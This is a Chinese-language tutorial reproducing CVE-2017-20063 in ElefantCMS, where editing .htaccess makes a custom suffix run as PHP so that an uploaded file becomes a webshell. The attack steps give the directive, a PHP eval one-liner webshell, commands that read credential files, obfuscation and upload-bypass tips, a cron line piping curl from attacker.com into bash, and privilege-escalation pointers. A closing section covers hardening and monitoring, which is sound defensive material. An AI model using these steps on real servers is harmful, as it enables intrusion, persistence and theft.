从CVE-2017-20063看.htaccess配置篡改如何绕过文件上传防护 1. 项目概述一次被忽视的“.htaccess”攻击路径在Web安全测试的日常里提到文件上传漏洞很多人的第一反应就是寻找那些允许上传.php、.jsp或.asp等可执行脚本后缀的入口。这种思路没错但过于直接往往会被现代应用的各种前端校验、MIME类型检查和黑名单过滤挡在门外。今天我想分享的是关于CVE-2017-20063在ElefantCMS中的一个实战案例它教会我的最重要一课是真正的攻击者从不只盯着最终的执行文件本身而是控制执行环境。这个漏洞的核心并非一个直接的上传点而是一个权限配置不当的.htaccess文件编辑功能。攻击者通过篡改这个Apache服务器的目录配置文件可以“无中生有”地创造一个文件上传漏洞甚至将原本无害的图片上传点变成一条直达服务器权限的通道。这就像你无法直接带一把刀进入大楼但你却可以修改大楼的安全手册规定“所有绿色包装的盒子免检”然后你只需要把刀放进绿色盒子里即可。.htaccess文件就是这个“安全手册”。2. 漏洞原理深度解析为什么能编辑.htaccess是致命的在深入实操之前我们必须先理解这个漏洞的根源。ElefantCMS是一个基于PHP的开源内容管理系统在受影响版本中其管理员后台提供了一个名为“设计器”或“文件管理器”的功能允许管理员直接在线编辑网站目录下的文件这其中就包括了.htaccess。2.1 .htaccess文件的权力边界.htaccess超文本访问是Apache Web服务器的一个配置文件它可以在每个目录中覆盖主服务器的全局配置。它的能力非常强大常见用途包括URL重写与重定向这是最广为人知的功能通过RewriteRule实现。目录访问控制通过Require指令限制IP或用户访问。自定义错误页面指定404、500等错误时显示的页面。设置文件类型处理器这是本次攻击的关键即AddHandler或SetHandler指令。例如一条简单的配置AddHandler application/x-httpd-php .jpg会告诉Apache服务器将所有.jpg文件当作PHP脚本来解析执行。这意味着即使你上传了一个包含PHP代码的图片文件比如在图片元数据中插入?php phpinfo(); ?服务器也会尝试去执行其中的PHP代码而不是仅仅将其作为静态图片输出。2.2 CVE-2017-20063的漏洞链这个漏洞的本质是一个权限绕过导致配置篡改最终引发任意代码执行的链条。权限缺陷ElefantCMS的后台文件编辑功能未能对可编辑的文件路径进行严格校验或者其身份验证/授权逻辑存在缺陷使得攻击者能够访问并编辑本应受保护的.htaccess文件。在某些配置下甚至可能通过CSRF跨站请求伪造诱使管理员执行编辑操作。配置篡改攻击者编辑目标目录下的.htaccess文件添加将特定后缀如.test,.phtml,.jpg解析为PHP的指令。寻找上传点几乎所有的CMS都有图片或附件上传功能如用户头像、文章插图。这些上传功能通常对后缀有严格限制只允许.jpg,.png,.gif并且会对文件内容进行简单的图片头校验但不会防御文件包含PHP代码。组合利用攻击者将Webshell代码写入一个.jpg文件利用合法的上传功能将其传送到已被篡改的目录中。由于.htaccess的规则这个.jpg文件会被服务器以PHP解析Webshell得以执行。注意这种攻击方式之所以隐蔽是因为它在两个看似无害的“合规”操作中完成了攻击合规地编辑了一个配置文件合规地上传了一张“图片”。安全设备或WAF若只检测单次请求很难将其判定为攻击。3. 实战环境搭建与漏洞复现理解了原理我们动手搭建环境进行复现。请务必在授权的测试环境如本地虚拟机、隔离的VPS中进行所有操作切勿对任何未授权的系统进行测试。3.1 准备漏洞环境首先我们需要一个存在漏洞的ElefantCMS版本。根据公开资料CVE-2017-20063影响较早的版本如1.3.x系列。你可以从一些历史版本归档网站或GitHub的Release历史中寻找。步骤1部署测试环境我使用了一台安装有Ubuntu 20.04的虚拟机环境组合是经典的LAMPLinux, Apache2, MySQL, PHP。# 安装Apache、MySQL、PHP sudo apt update sudo apt install apache2 mysql-server php libapache2-mod-php php-mysql php-gd php-xml unzip # 启动服务 sudo systemctl start apache2 sudo systemctl start mysql sudo systemctl enable apache2 mysql步骤2安装ElefantCMS下载漏洞版本的ElefantCMS ZIP包。将其解压到Apache的Web根目录通常是/var/www/html/假设解压后目录为/var/www/html/elefant/。通过浏览器访问http://your_test_ip/elefant/按照安装向导完成CMS的安装。过程中需要创建数据库和管理员账户请务必记下这些凭据。安装完成后移除或重命名安装目录如install文件夹这是基本的安全操作。3.2 定位与利用漏洞点步骤1登录后台并找到文件编辑器使用安装时创建的管理员账号登录后台通常是http://your_test_ip/elefant/admin。在后台管理菜单中寻找类似“设计”、“文件”、“工具”或“设置”的选项其下应包含一个文件编辑器可以浏览和编辑网站目录中的文件。在旧版Elefant中这个功能可能叫“Designer”或直接是“File Manager”。步骤2编辑.htaccess文件在文件编辑器中导航到Web根目录或你计划上传文件的目录例如用户上传目录可能是/files或/uploads。找到或创建该目录下的.htaccess文件。如果不存在你可以先创建一个空的.htaccess文件。在文件编辑器中向.htaccess文件添加以下恶意规则# 将 .test 后缀的文件解析为PHP AddType application/x-httpd-php .test # 或者更隐蔽地将 .jpg 文件也解析为PHP风险高易被发现 # AddHandler application/x-httpd-php .jpg这里我选择使用.test这个不常见的后缀以减少对正常网站功能的影响也更隐蔽。保存文件。步骤3利用常规上传功能现在我们需要找到一个允许上传文件的功能点。这可能是“媒体库”、“上传头像”、“添加文章附件”等。为了演示我们假设有一个简单的用户头像上传功能。准备一个Webshell文件。创建一个文本文件将其重命名为shell.test注意后缀是我们刚才在.htaccess中定义的.test。文件内容可以是一个最简单的PHP一句话木马?php eval($_REQUEST[cmd]);?实操心得在实际测试中为了避免被杀毒软件或简单的内容检测拦截可以将Webshell代码进行Base64编码、字符串反转等简单混淆或者直接使用图片马将PHP代码插入到图片文件的元数据中如EXIF。但在这个案例中由于我们控制了文件解析规则即使是最原始的一句话木马只要后缀是.test也会被成功解析。通过目标上传功能上传这个shell.test文件。系统可能会因为后缀名.test不在白名单而拒绝。这时就需要一点技巧如果前端有JS校验可以禁用浏览器JS或修改前端代码绕过如果后端有白名单校验那么你可能需要寻找另一个原本就允许更多后缀的上传点或者尝试双写后缀如shell.jpg.test、大小写绕过如shell.TEST等。在本漏洞的理想情况下我们找到的上传点恰好对后缀校验不严或者我们通过其他方法如PUT方法、插件漏洞将文件放置到了目标目录。假设上传成功文件保存在http://your_test_ip/elefant/uploads/shell.test。步骤4访问Webshell并执行命令在浏览器中直接访问上传文件的URLhttp://your_test_ip/elefant/uploads/shell.test。如果页面空白或没有报错如500错误很可能说明PHP已经被执行了。 接下来通过GET或POST参数传递命令。例如访问http://your_test_ip/elefant/uploads/shell.test?cmdsystem(‘whoami’);如果页面上显示了当前Web服务的运行用户如www-data则证明漏洞利用成功我们获得了在Web服务器上下文下的命令执行权限。4. 攻击链的扩展与高级利用技巧基础的Webshell上传只是开始一个成熟的攻击者会利用这个立足点进行横向移动和权限提升。4.1 信息收集与环境探测一旦获得命令执行能力首先应进行信息收集当前权限whoami,id系统信息uname -a,cat /etc/issue,cat /proc/version网络信息ifconfig,netstat -antp,cat /etc/hosts进程信息ps aux敏感文件尝试读取/etc/passwd,/etc/shadow需要root网站配置文件如config.php,database.php历史命令history。你可以将多条命令用分号连接通过Webshell一次性执行并回显?cmdecho “User”; whoami; echo “OS”; uname -a; echo “Net”; ifconfig;4.2 建立持久化后门直接通过URL传递命令的Webshell不稳定。我们需要建立一个更隐蔽、功能更强的后门。写入更完整的Webshell利用已有的执行权限向服务器写入一个功能更全的Webshell文件例如著名的AntSword中国蚁剑或C刀的PHP版本。# 使用echo命令写入 ?cmdecho ‘?php eval($_POST[“ant”]);?’ /var/www/html/elefant/backdoor.php注意事项路径需要绝对正确且Web用户www-data对该目录有写权限。通常/tmp目录是全局可写的可以作为中转站。计划任务Cron持久化添加一个每分钟连接一次攻击者服务器的计划任务。?cmdecho “* * * * * curl http://attacker.com/shell.sh | bash” /tmp/cron_task; crontab /tmp/cron_task -u www-data重要提示此操作非常容易被发现仅用于演示持久化思路。在真实渗透测试中需要更隐蔽的方式如写入.htaccess或php.ini的auto_prepend_file配置或者修改现有的合法PHP文件插入后门代码。4.3 权限提升提权Web服务通常以低权限用户如www-data,apache,nobody运行。我们需要寻找将其提升为root的方法。内核漏洞提权使用uname -a查看内核版本搜索对应的公开漏洞如DirtyCow, CVE-2021-4034等。在测试环境中可以上传或编译对应的漏洞利用程序如dirtycow.c并执行。SUID/GUID文件滥用查找具有SUID权限的可执行文件。?cmdfind / -perm -us -type f 2/dev/null查找像find,vim,bash,more,less等命令是否具有SUID位并尝试利用已知技巧如GTFOBins上记录的方法进行提权。数据库提权如果Webshell可以访问MySQL数据库并且数据库以root运行可以尝试通过MySQL的User Defined Functions (UDF)或写入SSH密钥等方式提权。5. 防御策略与安全加固建议从防御者视角看这个漏洞链给我们上了深刻的一课安全是一个整体任何一个环节的疏忽都可能导致全盘沦陷。5.1 针对开发与运维的加固措施最小权限原则文件系统确保Web用户www-data对网站目录只有必要的读写权限。例如上传目录只给写权限不给执行权限chmod 755 uploads/。.htaccess、配置文件等关键文件应设置为只读chmod 444 .htaccess。后台功能严格审查后台的每一个功能。像在线编辑.htaccess、php.ini等核心配置文件的功能应默认关闭或仅对超级管理员开放并增加二次认证如密码、OTP。输入验证与过滤文件上传实施“白名单”机制只允许特定的、安全的文件后缀如.jpg,.png,.pdf。不要使用黑名单它总会被绕过。内容检查对上传的图片等文件使用getimagesize()等函数进行严格的图片格式验证而不仅仅是检查文件头。对于其他文件类型也应进行相应的内容校验。路径校验后台文件编辑器必须对用户提供的文件路径进行规范化Canonicalization和严格校验防止目录穿越../../../并禁止编辑系统文件或特定后缀如.htaccess,.php,.conf的文件。服务器配置加固在Apache主配置httpd.conf或sites-available/下的虚拟主机配置中针对上传目录等敏感位置禁用.htaccess的覆盖功能Directory /var/www/html/uploads AllowOverride None php_flag engine off # 如果该目录不需要PHP直接关闭PHP解析 /Directory将php.ini中的expose_php设置为Off隐藏PHP版本信息。定期更新PHP、Apache及所有依赖库到最新稳定版。5.2 安全监控与应急响应文件完整性监控使用工具如AIDE, Tripwire或脚本监控关键文件如.htaccess,index.php, 核心配置文件的变更一旦发现未授权的修改立即告警。日志分析集中收集并分析Web访问日志Apache的access.log和error.log。关注对异常后缀文件如.test,.phtml的访问以及大量失败的登录尝试、异常的POST请求等。定期漏洞扫描与代码审计对自身代码和使用的第三方组件如ElefantCMS进行定期的安全扫描和代码审计及时修补已知漏洞。对于不再维护的旧版CMS应制定计划进行升级或替换。应急响应预案一旦发现入侵立即隔离服务器分析日志定位攻击入口和上传的Webshell清除后门修复漏洞并检查是否有数据泄露或内网横向移动的痕迹。这个案例清晰地展示一个看似边缘的管理功能.htaccess编辑如何与一个常规功能文件上传串联形成一条致命的攻击链。它提醒我们安全防御必须立体、纵深不能只盯着“上传.php文件”这一个点而要对整个文件解析逻辑、权限控制系统和用户输入链条保持全方位的警惕。在实战中绕过防御的往往不是最锋利的矛而是那块最不被注意的短板。